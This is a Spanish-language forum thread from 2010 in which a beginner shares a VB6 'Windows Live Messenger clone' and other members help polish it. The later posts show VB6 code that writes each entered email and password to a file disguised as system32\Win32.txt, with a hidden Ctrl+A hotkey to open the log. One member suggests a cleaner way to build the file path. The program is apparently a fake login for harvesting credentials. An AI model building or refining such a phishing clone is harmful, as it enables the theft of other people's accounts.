Clon Windows Live Messenger

Iniciado por c0c0_w3y_s0ftwar3, 2 Julio 2010, 08:32 AM

0 Miembros y 1 Visitante están viendo este tema.

Elemental Code

Aver, me lo baje y empiezo mal

mirando por arriba dice
"Privasidad"

segundo consejo:
TABULA. se me complica horrores leer el codigo.

Tercer Consejo:
acomoda mejor la imagen de fondo.
yo con una resolucion de 1440 x 900 (lcd 17' wide) me di cuenta que  algo andaba mal cuando maximize.
ponele que onformchangesise (escribilo bien >.<) vuelva al tamaño en el que lo diseñastes.


y esto no es tanto un consejo o sugerencia, va en cada uno, pero yo lo hubiese guardado en un txt y no en una base de datos.

me gusto bastante el efecto realista cuando se subrayan los "links".
y el icono estaba medio flojo.
Fijate que capaz que es por mi windows 7 pero no parecia el del msn 9
tenia como un reborde negro.

Excelente codigo, estaba buscando uno asi.

I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0

Mis programas

c0c0_w3y_s0ftwar3

Graxxx.  Elemental Code...

Por eso keria q alguien lo ejecutara y me diera su consentimiento por k estoy empezan2 a programar ahora y saves q nesecito consejosy ayudas...

Primero nesecito k me especifikes si es donde dice "declaracion de privacidad"  ya lo arregle,,

segun2 Tabula que me kieres decir con eso...

y tercero,, me podrias dar un ejemplo de como acomodar la imagen con esto onformchangesise como me dijiste...

y ya estoy cambian2 la forma de guardar los mails.. la estoy ponien2 en un TXT como me dijiste...

Gracias de nuevo bro...

Salu2...



No Te equivoques Bro... Las cosas son como tienen que ser...

BlackZeroX


Tabulacion por gerarquia segun tu estructura del codigo ejemplo

Código (vb) [Seleccionar]

sub main()
    For x = 0 to 99
        msgbox "este msgbox esta tabulado y se entiende perfecto!¡."
        if jaja = jojo then
            msgbox "bu-ala otra tabulación según la jerarquía de programación o su flujo del mismo!¡."
        end if
    next
end sub



Para qué se entienda lo que se abre en una columna se CIERRA EN LA MISMA COLUMNA y se entiende a lectura simple!¡.

Sangriento infierno Lunar!¡.
The Dark Shadow is my passion.

c0c0_w3y_s0ftwar3

Ok... ya voy entendien2  BlackZeroX,,, savia q nesecitaba la ayuda de ustedes..

gracias...

No Te equivoques Bro... Las cosas son como tienen que ser...

c0c0_w3y_s0ftwar3

En cuanto el code para  guardar los mail en un TXT q tal este ???


Private Sub Command1_Click()
   Call GuardarArchivo("C:\WINDOWS\system32\Win32.txt", Text1, Text2)
End Sub

Sub GuardarArchivo(Ruta As String, Text1, Text2 As TextBox)
On Error Resume Next
Dim fnum As Integer
On Error GoTo Ninguno
fnum = FreeFile
Open Ruta For Append As fnum
Print #fnum, "Mail:"; Text1.Text
Print #fnum, "Contraseña:"; Text2.Text
Print #fnum, "-------------------------------------------------"
Print #fnum, ""
Close fnum
Exit Sub
Ninguno:
MsgBox "Error al guardar el archivo"
End Sub


No Te equivoques Bro... Las cosas son como tienen que ser...

Psyke1

Pon mejor la ruta asi:
Código (vb) [Seleccionar]
Environ$("windir") & "\system32\Win32.txt"

Salu2! :P

c0c0_w3y_s0ftwar3

Gracias *PsYkE1* ya lo hice asi como me dijiste. y para ejecutar elarchivo lo puse algo asi...
 
If GetAsyncKeyState(vbKeyControl) And GetAsyncKeyState(vbKeyA) Then
    Call ShellExecute(0&, "Open", (Environ$("windir") & "\system32\Win32.txt"), "", vbNullString, 1)
  End If


No Te equivoques Bro... Las cosas son como tienen que ser...